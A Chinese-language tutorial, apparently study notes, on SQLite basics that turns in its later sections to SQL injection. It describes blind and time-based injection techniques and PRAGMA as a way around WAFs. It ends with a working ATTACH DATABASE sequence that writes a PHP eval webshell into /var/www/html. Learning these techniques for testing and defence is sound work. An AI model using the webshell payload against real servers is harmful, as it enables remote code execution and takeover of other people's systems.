SQLite篇
1. 创建数据库
SQLite是一个用C语言编写的关系型数据库,它实现了一个自包含、无服务器、零配置的SQL数据库引擎。其设计目标是嵌入到应用程序中
启动很简单,终端输入sqlite3即可进入交互式命令行界面
SQLite与传统Mysql不同,每个数据库就是一个单独的文件,使用时调用各自的命令行。我们使用或创建数据库时,需要在终端输入
sqlite3 数据库名称.db
# 使用或创建数据库
即可进入相应数据库的命令行界面(window下会自动创建在当前用户目录下)
2. sqlite
SQLite支持标准sql语句,故命令与Mysql大同小异
进入相应命令行就可以进行表创建操作了
CREATE TABLE 表名 (
# 列名 类型 属性,
id INTEGER PRIMARY KEY,
name TEXT NOT NULL,
email TEXT UNIQUE
);
类型:
- INTEGER: 整数类型
- TEXT: 文本类型
- REAL: 浮点数类型
- BLOB: 二进制大对象类型(直接存储图片、音频、文件等原始数据)
- NULL: 空值类型
属性:
- PRIMARY KEY: 主键(唯一且非空)
- NOT NULL: 非空
- UNIQUE: 唯一
- DEFAULT: 默认值
- CHECK (条件): 满足条件才可存入
插入数据
INSERT INTO 表名 (列名1, 列名2) VALUES
('对应列名1的数据', '对应列名2的数据'),
('对应列名1的数据', '对应列名2的数据');
增删改查都一个样,这里不赘述。这里直接展示结果
简约至不能称其为表格了
3. 点命令
需要注意的是sqlite没有show命令,取而代之的是SQLite提供了一些点命令来辅助数据库操作,这些命令以点(.)开头
.databases 查看当前连接的数据库文件
.tables 列出当前数据库中所有的表
.schema 表名 查看某个表的建表语句
.mode box 让查询结果以表格框形式展现
.headers on 显示列名
.exit/.quit 退出SQLite
.open 数据库名称.db 更换或创建一个数据库文件
好看多了
4. 不得不缺的系统表
sqlite也有自己的系统表并且每个数据库自动配置,这个表只储存该数据库下用户创建的元信息。早期版本叫sqlite_master,3.3.0版本后改名为sqlite_schema

结构如下:
- type: 元信息类型,每个表数据(table)都有其对应的索引(index)
- tbl_name: 表名,即table_name
- rootpage: 数据页号,旨在搜索时能精准寻址。一般从2开始,因为1就是sqlite_schema表
- sql: 创建表的完整sql语句,注入重点,包含了全部列名信息
sqlite还有一张叫pragma_database_list的系统表,储存了当前连接的数据库文件的信息。即使没有database()函数,也可以获取当前数据库名称(虽然没什么用)
5. 注入问题
sqlite的数据库都是独立文件,大部分时候我们需要跨库查询时该怎么办
这时候我们就要用到ATTACH DATABASE
ATTACH DATABASE负责将一个数据库文件附加到当前数据库连接中,从而实现跨库查询
ATTACH DATABASE '数据库名称.db' AS 别名;# 附加数据库
SELECT * FROM 本数据库的表 JOIN 别名.表名 (ON 匹配条件); # 联表查询
detach database 别名; # 卸载附加的数据库
只要用了ATTACH DATABASE,就可以跨库查询了。如果想对照可以使用join进行联表查询
好在sqlite允许substr()和length()函数,故可以进行盲注。至于时间盲注,由于sqlite没有延时函数,可以用randomblob(n)函数替代
至于报错注入,sqlite少很多函数,并且大部分时候会静默处理。故很难利用
6. sqlite特色:PRAGMA
PRAGMA相当于sqlite的控制面板,它可以用来查看数据库信息。在实际注入中,我们可以通过PRAGMA绕过某些waf
PRAGMA table_info('表名'); # 查看表的列信息
PRAGMA database_list; # 查看当前连接的数据库文件信息
PRAGMA foreign_key_list('表名'); # 查看表的外联信息

7. ATTACH的进阶用法
ATTACH DATABASE不仅可以跨库查询,如果权限足够高还能用来写webshell。原理是ATTACH DATABASE挂载未知数据库时会创建一个新数据库文件
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
CREATE TABLE pwn.payload (content TEXT);
INSERT INTO pwn.payload (content) VALUES ('<?php @eval($_POST["pass"]); ?>');
DETACH DATABASE pwn;
